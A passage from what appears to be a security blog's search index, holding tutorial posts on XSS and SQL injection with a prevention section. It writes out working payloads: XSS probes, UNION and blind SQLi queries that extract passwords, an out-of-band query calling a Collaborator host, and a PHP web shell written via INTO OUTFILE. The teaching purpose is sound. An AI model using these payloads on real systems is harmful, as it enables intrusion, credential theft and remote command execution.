insertion of arbitrary nodes\nRecognition for XSS\nFigure out where it goes, embedded in a tag attr or embedded in a script?\nFigure out how special characters are handled: A good way is to input something like \u0026lt; \u0026gt; ' \u0026quot; { } ; :\n\u0026quot;\u0026gt;\u0026lt;h1\u0026gt;test\u0026lt;/h1\u0026gt;\n'+alert(1)+'\n\u0026quot;onmouseover=\u0026quot;alert(1)\nhttp://onmouseover=\u0026quot;alert(1)\n","permalink":"https://blog.s4yhii.com/posts/2022-02-14-cross-site-scripting-xss/","summary":"\u003cp\u003eCross-site scripting known as XSS is a web vulnerability in which malicious scripts are injected int benign and trusted websites. XSS occur when an attacker send malicious code in any user input fields in a browser to a different end-user.\u003c/p\u003e\n\u003ch2 id=\"mechanisms\"\u003eMechanisms\u003c/h2\u003e\n\u003cp\u003eIn an XSS attack the attacker inject script in HTML code so you\u0026rsquo;ll have to know javascript and HTML syntax, wbe uses scripts to control client-side application logic and make the website interactive, for example this script generates \u003cem\u003eHello!\u003c/em\u003e pop-up on the web page:\u003c/p\u003e","title":"Cross-site scripting (XSS)"},{"content":"A SQL injection is an attack in which the attacker executes arbitrary SQL commands on an application’s database by supplying malicious input inserted into a SQL statement. This happens when the input used in SQL queries is incorrectly filtered or escaped and can lead to authentication bypass, sensitive data leaks, tampering of the database and RCE in some cases. In-Band (classic) SQL Injection Occurs when the attacker uses the same communication channel to both launch the attack and gather the result of the attack Retrieved data is presented directly in the web page Easier to exploit than other categories of SQLi Error-Based SQLi Error bases SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection www.random.com/app.php?id=\u0026#39; #output #You have an error in your SQL syntax, check the manual that corresponds to your MySQL server version... Union-Based SQLi Is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set Input: # retrieving data from another table http://www.random.com/app.php?id=’ UNION SELECT username, password FROM users; -- # update all passwords from a table with POST method http://www.random.com/app.php?new_password=\u0026#34;password12345\u0026#39;;--\u0026#34; query = UPDATE Users SET Password=\u0026#39;password12345\u0026#39;;-- WHERE Id = 2; --- The WHERE clause, which specifies the criteria of the rows that should be updated, is commented out in this query. The database would update all rows in the table, and change all of the passwords in the Users table to password12345. The attacker can now log in as anyone by using that password Inferential (Blind) SQL Injection SQLi vuln where there is no actual transfer of data via the webapp Just as dangerous as in-band SQLi Attacker be able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server Takes longer to exploit than in-ban sql injection Boolean-based SQLi Uses boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result. www.random.com/app.php?id=1 select title from product where id=1 #Payload 1 (false) www.random.com/app.php?id=1 and 1=2 select title from product where id=1 and 1=2 #Payload 2 (true) www.random.com/app.php?id=1 and 1=1 select title from product where id=1 and 1=1 User table: Administrator / e3c3889ded99ej29dj9edjdje992 SUBSTRING(a,b,c): function that select a part of a string a: the string, b:the first posicion, c=how many chars #Payload1 www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username =\u0026#39;Administrator\u0026#39;), 1, 1)=\u0026#39;s\u0026#39; #Query select title from product where id=1 and SUBSTRING((SELECT Password FROM Users Where Username=\u0026#39;Administrator\u0026#39;),1,1)=\u0026#39;s\u0026#39; #result: nothing is returned because is false #Payload 2 www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users Where Username=\u0026#39;Administrator\u0026#39;),1,1)=\u0026#39;e\u0026#39; #Query select title from product where id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username=\u0026#39;Administrator\u0026#39;),1,1)=\u0026#39;e\u0026#39; #result: Returned true, the tile of product id 1 is returned bc \u0026#34;e\u0026#34; is the first character of the hashed pass Time-based Blind SQLi Relies in the database pausing for a specified amount of time, then returning the result, indicating a success SQL query execution Ex: if the first character of the administrator’s hashed pass is an “a”, wait 10 seconds. Out-of-band (OAST) SQLi Consists of triggering an out-of-band network connection to a system that you control Not common, uses variety os protocols (DNS,HTTP) \u0026#39;; exec master..xp_dirtree \u0026#39;//434934839493499.burpcollabolator.net/a\u0026#39;-- Second order SQLi Second order SQLi happens when applications user input gets stored in the database, then retrieved and used unsafely in a SQL query. For example consider an app that register an user by specifying username and password, and the user submit the following request:\nPOST /register Host: example.com (POST body) username=\u0026#39;jesus\u0026#39; UNION SELECT Username, Password FROM Users;-- \u0026#39;\u0026amp;password=jesus123 This query has a payload in the username field, later the malicious user accesses their email with the following GET request:\nGET /emails Host: example.com If the user doesn\u0026rsquo;t provide a username the app will retrieve the currently logged-in username and use it populate a SQL query:\nSELECT Title, Body FROM Emails WHERE Username=\u0026#39;jesus\u0026#39; UNION SELECT Username, Password FROM Users;-- But the attacker username contains the payload, so this will return all usernames and password as email titles and bodies in the HTTP response.\nExploiting the Database Exploiting Error-Based SQLi Submit SQL-specific characters such as \u0026rsquo; or \u0026ldquo;, and look for error or other anomalies Different characters give you different error Exploiting Union-Based SQLi There are two rules for combining the result sets of two queries by using UNION\nThe number and order of the columns must be the same in all queries The data types must be compatible Steps\nFigure out the number of columns that the query is making using ORDER BY select title, cost from product where id=1 order by 1 Incrementally inject a series of ORDER BY clauses until you get an error or observe a different behavior in the application order by 1-- order by 2-- order by 3-- The ORDER BY position number 3 is out of range, this means the table has only two columns Other method for determining the numbers of columns is using NULL VALUES: select title, cost from product where id=1 UNION SELECT NULL-- If not error is returned qe have to increase the NULL VALUES UNION SELECT NULL-- UNION SELECT NULL, NULL -- Figure the data types of the columns (interested in string data) Probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn UNION SELECT \u0026#39;a\u0026#39;, NULL-- #Response:Conversion failed when converting the varchar value \u0026#39;a\u0026#39; to data type int UNION SELECT \u0026#39;a\u0026#39;, NULL-- UNION SELECT NULL,\u0026#39;a\u0026#39;-- Use the UNION operator to output information from the database Exploiting Boolean-Based Blind SQLi Submit a Boolean condition that evaluate to True/False and note the response Write a program that uses conditional statements to ask the database a series of True/False questions and monitor response Exploiting Time-Based Blind SQLi Submit a payload that pauses the application for a specified period of time Write a program that uses conditional statements to ask the database a series of True/False questions and monitor response Exploiting Out-of-Band SQLi Submit OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitor for any resulting interactions Depending on SQL injection use different methods for exfill data Escalating the Attack Learn About the Database First, we need information about the structure of the database, the payloads previously reviewed require some knowledge of the database, such as table names or field names, so we can attempt some trial-error SQL queries to determine the database version, it should look like this:\nSELECT Title, Body FROM Emails WHERE Username=\u0026#39;jesus\u0026#39; UNION SELECT 1,@@version;-- Once you know the version of database, you can extract the table names with specific commands for each database version, it should look like this:\nSELECT Title, Body FROM Emails WHERE Username=\u0026#39;jesus\u0026#39; UNION SELECT 1, table_name FROM information_schema.tables And this one will show you the columns names of the specific table:\nSELECT Title, Body FROM Emails WHERE Username=\u0026#39;jesus\u0026#39; UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name=\u0026#39;Users\u0026#39; Gain a Web Shell Another way to escalate SQLi is getting a web shell on the server, for example if we are attacking a php website, the following code will take the request parameter named cmd and execute it as a system command.\n\u0026lt;? system($_REQUEST[\u0026#39;cmd\u0026#39;]); ?\u0026gt; Also you can upload php code to location in the web server you can access, . For example, you can write the password of a nonexistent user and the PHP code \u0026lt;? system($_REQUEST['cmd']); ?\u0026gt; into a file located at /var/www/html/shell.php on the target server:\nSELECT Password FROM Users WHERE Username=\u0026#39;abc\u0026#39;UNION SELECT \u0026#34;\u0026lt;? system($_REQUEST[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#34;INTO OUTFILE \u0026#34;/var/www/html/shell.php\u0026#34; Since the password will be blank because not exist, you are uploading the php script in that file, then you can simply access the file and execute any command you wish: http://www.example.com/shell.php?cmd=COMMAND\nHow to prevent SQLi vulnerabilites? Primary Defenses: Use of Prepared Statements (Parameterized Queries) Code Vulnerable to SQLi The user supplied input customer name is embedded directly into the SQL statement The construction of the SQL statement is performed in two steps: The application specifies the query structure with placeholders for each user input The application specifies the content of each placeholder Code not vulnerable to SQLi Use of Stores Procedures Is a batch of statements grouped together and stored in the database Not always safe from SQL Injection, still need to be called in a parameterized way Whitelist Input Validation Defining what values are authorized, everything else is unauthorized Useful for values that cannot be specified as parameter placeholders, such as a table name Escaping All User Supplied Input Only used as last resort Optional Defenses: Least Privilege The application should use the lowest possible level of privileges when accessing the database Any unnecessary default functionality in the database should be removed or disabled Ensure CIS benchmark for the database in use is applied All vendor-issued security patches should be applied in a timely fashion References Web Security Academy - SQL Injection OWASP Top 10 - SQL Injection Bug Bounty Bootcamp ","permalink":"https://blog.s4yhii.com/posts/2022-01-25-sql-injection/","summary":"\u003cp\u003eA SQL injection is an attack in which the attacker executes arbitrary SQL commands on an application’s database by supplying malicious input inserted into a SQL statement. This happens when the input used in SQL queries is incorrectly filtered or escaped and can lead to authentication bypass, sensitive data leaks, tampering of the database and RCE in some cases.\n\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/Portswigger/sqli1.jpg\"\u003e\u003c/p\u003e\n\u003ch2 id=\"in-band-classic-sql-injection\"\u003eIn-Band (classic) SQL Injection\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eOccurs when the attacker uses the same communication channel to both launch the attack and gather the result of the attack\n\u003cul\u003e\n\u003cli\u003eRetrieved data is presented directly in the web page\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eEasier to exploit than other categories of SQLi\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"error-based-sqli\"\u003eError-Based SQLi\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eError bases SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewww.random.com/app.php?id\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"err\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#output\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e#You have an error in your SQL syntax, check the manual that corresponds to your MySQL server version...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"union-based-sqli\"\u003eUnion-Based SQLi\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIs an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set\u003c/li\u003e\n\u003cli\u003eInput:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eretrieving\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edata\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eanother\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etable\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"err\"\u003e’\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eUNION\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSELECT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eusername\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eFROM\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eusers\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e--\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eupdate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eall\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epasswords\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etable\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewith\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePOST\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emethod\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003enew_password\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;password12345\u0026#39;;--\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003equery\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eUPDATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUsers\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eSET\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePassword\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;password12345\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e-- WHERE Id = 2;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e--- The WHERE clause, which specifies the criteria of the rows that should be updated, is commented out in this query. The database would update all rows in the table, and change all of the passwords in the Users table to password12345. The attacker can now log in as anyone by using that password\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"inferential-blind-sql-injection\"\u003eInferential (Blind) SQL Injection\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSQLi vuln where there is no actual transfer of data via the  webapp\u003c/li\u003e\n\u003cli\u003eJust as dangerous as in-band SQLi\n\u003cul\u003e\n\u003cli\u003eAttacker be able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eTakes longer to exploit than in-ban sql injection\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"boolean-based-sqli\"\u003eBoolean-based SQLi\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUses boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproduct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003ePayload\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproduct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003ePayload\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ewww\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eapp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efrom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproduct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eUser\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etable\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAdministrator\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee3c3889ded99ej29dj9edjdje992\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eSUBSTRING\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eselect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epart\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan 